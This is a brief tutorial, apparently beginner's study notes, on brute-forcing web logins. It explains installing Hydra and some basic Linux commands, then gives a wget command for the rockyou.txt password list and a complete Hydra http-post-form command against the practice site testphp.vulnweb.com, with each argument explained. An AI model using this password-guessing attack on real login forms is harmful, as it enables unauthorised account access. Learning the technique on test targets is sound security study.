

BRUTE FORCING

What is Hydra?

Hydra is a tool used to test passwords by trying many combinations to check if a login is weak.

Installation

`sudo apt install hydra` Downloads and install hydra

`sudo apt-get update` Refreshes/updates all packages in the system.

Linux Commands

`ls` Shows all files and folders in your current location.

`ls -l` Shows files in detail (size, date, permissions).

`ls -a` Shows hidden files also.

`pwd` or `cwd` (present working directory or current working directory) Shows your current working directory (where you are).

`mkdir` Creates a new folder.

`cd` Used to move inside a folder.

`cd ..` Moves one step back (comes out of a folder).

`rmdir` Removes a folder (only if the folder is empty).

`nano` Opens a small text editor to write/edit files.

`nano .bash_history` Shows all commands you used earlier (history).

Download `(rockyou.txt)`

`wget https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt`

Downloads a password(used by Hydra).`nano rockyou.txt`

Opens the wordlist to view passwords.

`wc rockyou.txt` Shows how many words (passwords) are inside.

Hydra Command

```
hydra -l test -P rockyou.txt testphp.vulnweb.com http-post-form \
"/login.php:username=^USER^&password=^PASS^:F=Invalid username or password"
```

`hydra` tool name

`test` username is "test"

`-P rockyou.txt` use password list

`testphp.vulnweb.com` test website

`http-post-form` login form type

`/login.php` page where login happens

`username=^USER^&password=^PASS^` Hydra replaces USER and PASS every attempt

`F=Invalid username or password` failure message to detect wrong login